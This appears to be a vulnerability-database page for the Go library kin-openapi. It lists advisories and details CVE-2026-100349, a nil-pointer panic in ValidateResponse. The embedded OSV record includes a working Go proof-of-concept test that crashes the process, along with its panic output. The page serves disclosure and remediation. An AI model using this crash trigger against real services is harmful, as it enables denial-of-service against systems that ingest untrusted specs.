Vulnerabilities in pkg:golang/github.com/getkin/kin-openapi
PACKAGECVE-2026-100349 is a HIGH nil-pointer panic vulnerability (CWE-476: NULL Pointer Dereference) affecting kin-openapi openapi3filter libraries in the Go ecosystem. The issue involves nil-pointer panic in validateresponse on a response header declared with content. Remediation is available by upgrading affected packages to version 0.146.0.
pkg:golang/github.com/getkin/kin-openapi
Vulnerability advisories affecting package pkg:golang/github.com/getkin/kin-openapi. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-74vm-87hj-r66f | CVE-2026-100349 | HIGH | kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content |
| GHSA-vrcc-3ch7-hppw | CVE-2026-100353 | HIGH | kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter |
| GHSA-g8cf-rcjf-c8cf | CVE-2026-100354 | HIGH | kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash |
| GHSA-rj39-cv6w-8wv7 | CVE-2026-100352 | HIGH | kin-openapi: YAML NaN/Inf Values Bypass Built-in Guards and Panic via OAS 3.1 Validation Path |
| GHSA-23vg-4cjm-66q5 | CVE-2026-100351 | HIGH | kin-openapi: ValidationHandler security-requirement bypass via encoded-path operation confusion |
| GHSA-h4r5-mxv5-8mjc | CVE-2026-100350 | MODERATE | kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression |
| GHSA-mh7x-f8wq-4jhx | CVE-2026-100348 | MODERATE | kin-openapi spec loader panics on a self-referential additionalProperties $ref (nil-pointer DoS) |
| GHSA-fh4f-47mf-f2gj | CVE-2026-100347 | MODERATE | kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path |
| GHSA-p6wj-qrr4-pgh5 | CVE-2026-97394 | HIGH | kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items |
| GHSA-xhj3-7xw9-vr34 | CVE-2026-77354 | HIGH | kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding |
| GHSA-mmfr-pmjx-hw9w | CVE-2026-76905 | HIGH | kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS |
| GHSA-jpcw-4wr7-c3vq | CVE-2026-73502 | MODERATE | kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema |
| GHSA-r277-6w6q-xmqw | - | CRITICAL | kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default |
| GHSA-wq9g-9vfc-cfq9 | CVE-2025-30153 | HIGH | Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter |
CVE-2026-100349 at a Glance
How to Fix CVE-2026-100349
To remediate this vulnerability, upgrade all affected kin-openapi openapi3filter dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/getkin/kin-openapi to 0.146.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/getkin/kin-openapi
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-100349, inspect your project dependencies for kin-openapi openapi3filter:
inspect dependencies for github.com/getkin/kin-openapi
Analyze the terminal output to locate any version of kin-openapi openapi3filter in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.146.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In kin-openapi openapi3filter, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-100349 Affected kin-openapi openapi3filter Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/getkin/kin-openapi
|
Go |
< 0.146.0
|
0.146.0
|
References
Frequently Asked Questions
What is CVE-2026-100349?
Which kin-openapi openapi3filter versions are affected?
What version fixes CVE-2026-100349?
Is github.com/getkin/kin-openapi affected?
What CWE is associated with CVE-2026-100349?
How can I check Go dependencies for CVE-2026-100349?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-74vm-87hj-r66f",
"modified" : "2026-10-16T19:58:46Z",
"published" : "2026-10-16T19:58:46Z",
"aliases" : [ "CVE-2026-100349" ],
"summary" : "kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content",
"details" : "## Summary\n\n`ValidateResponse` panics on a nil pointer when a spec declares a response header with `content` instead of `schema`. `doc.Validate()` accepts that document, so the crash comes from a spec the library just called valid.\n\nSame class as GHSA-jpcw-4wr7-c3vq, which covered the request-parameter case in v0.144.0; this is the response-header path.\n\nAffects `github.com/getkin/kin-openapi` `<= v0.145.0`. Reproduced on master `947498e5a6bd`, Go 1.26.\n\n## Details\n\nA `content`-typed response header has `headerRef.Value.Schema == nil`.\n\n`validate_response.go:181` passes it straight through:\n\n```go\nif decodedValue, found, err = decodeValue(dec, headerName, sm, headerRef.Value.Schema, headerRef.Value.Required); err != nil {\n```\n\nand `req_resp_decoder.go:273` is where it lands:\n\n```go\nif len(schema.Value.AllOf) > 0 {\n```\n\nTwo things I checked rather than assumed. The response does not need to carry the header; declaring it is enough, and then every call for that operation panics. And the body path is fine, `:114` returns early on a nil schema, so this is headers only. The PoC keeps the body case as a control.\n\n## PoC\n\nDrop into `openapi3filter/` and run:\n\n```\ngo test ./openapi3filter/ -run NilSchema -v\n```\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers\"\n)\n\nconst specBody = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /x:\n get:\n responses:\n \"200\":\n description: ok\n content:\n application/json: {}\n`\n\nconst specHeader = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /x:\n get:\n responses:\n \"200\":\n description: ok\n headers:\n X-Thing:\n content:\n application/json: {}\n`\n\nfunc validatedInput(t *testing.T, spec string, hdr http.Header) *openapi3filter.ResponseValidationInput {\n\tt.Helper()\n\tdoc, err := openapi3.NewLoader().LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tt.Fatalf(\"doc.Validate rejected the spec, so this repro proves nothing: %v\", err)\n\t}\n\top := doc.Paths.Find(\"/x\").Get\n\treq := httptest.NewRequest(http.MethodGet, \"/x\", nil)\n\treturn &openapi3filter.ResponseValidationInput{\n\t\tRequestValidationInput: &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tRoute: &routers.Route{Spec: doc, Operation: op, Method: http.MethodGet, Path: \"/x\"},\n\t\t},\n\t\tStatus: 200,\n\t\tHeader: hdr,\n\t\tBody: io.NopCloser(strings.NewReader(`{}`)),\n\t}\n}\n\n// Control: body path returns early on a nil schema.\nfunc TestControl_ResponseBodyNilSchema(t *testing.T) {\n\tin := validatedInput(t, specBody, http.Header{\"Content-Type\": {\"application/json\"}})\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"body path panicked, expected clean return: %v\", r)\n\t\t}\n\t}()\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Errorf(\"body path returned %v, expected nil\", err)\n\t}\n}\n\n// The response does not carry X-Thing. Declaring the header is enough.\nfunc TestResponseHeaderNilSchema(t *testing.T) {\n\tin := validatedInput(t, specHeader, http.Header{\"Content-Type\": {\"application/json\"}})\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Fatalf(\"no panic; got err = %v (already fixed?)\", err)\n\t}\n}\n```\n\nOutput:\n\n```\n=== RUN TestControl_ResponseBodyNilSchema\n--- PASS: TestControl_ResponseBodyNilSchema (0.00s)\n=== RUN TestResponseHeaderNilSchema\n--- FAIL: TestResponseHeaderNilSchema (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7f6d2a]\n\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\t/src/openapi3filter/req_resp_decoder.go:273 +0x4a\ngithub.com/getkin/kin-openapi/openapi3filter.validateResponseHeader(...)\n\t/src/openapi3filter/validate_response.go:181 +0x146\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateResponse(...)\n\t/src/openapi3filter/validate_response.go:89 +0xafa\n```\n\nThe `FAIL` is the point: control passes, the header case takes the binary down.\n\nRan in a container against a fresh clone of master. I have not tried it against a live proxy.\n\n## Impact\n\nA process crash instead of an error return. Declaring the header is enough, so it is every call on that operation rather than an occasional one.\n\nIf the spec comes from somewhere else -- gateways, linters, anything ingesting specs it did not write -- that is a trust boundary, and it becomes remote availability.\n\nIf it is your own spec, nothing attacker-controlled starts it, but any client reaching that route then crashes the process. It fires on every call, so normally you would see it the first time that route runs. A spec edited without exercising the route is the case where you would not. That is the difference from GHSA-jpcw, where the attacker supplied the trigger. I have left severity unset; the two cases do not score the same.\n\nOn how common it is, I checked rather than guessed. Of roughly 1,500 OpenAPI 3.x specs on apis.guru, one declares content-typed response headers -- VTEX Catalog API -- and not in one corner of it: the shape repeats across its operations, so for that consumer this is not an edge case.\n\nThe header names in it (`X-AspNet-Version`, `p3p`, a few malformed ones) look like a generator emitting `content` where it could not infer a schema, and apis.guru only indexes public specs. There is no content-typed response header in this repo's testdata either.\n\n## Workarounds\n\nUse `schema` on the response header, or skip `ValidateResponse` for those operations. `ExcludeResponseBody` will not do it -- headers are validated before that check.\n\n## Suggested fix\n\nNil-guard at the top of `decodeValue`:\n\n```go\nif schema == nil {\n\treturn nil, false, nil\n}\n```\n\nReturning nil leaves a `content`-typed header unvalidated rather than erroring, so it trades the crash for a silent gap. An error return kills the panic just as well if you would rather it surfaced.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/getkin/kin-openapi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.146.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.145.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/security/advisories/GHSA-74vm-87hj-r66f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-100349"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/commit/f5441d67f855ed34d975b3b85665764644ab1459"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getkin/kin-openapi"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/releases/tag/v0.146.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-476" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-16T19:58:46Z",
"nvd_published_at" : "2026-10-15T16:17:30Z"
}
}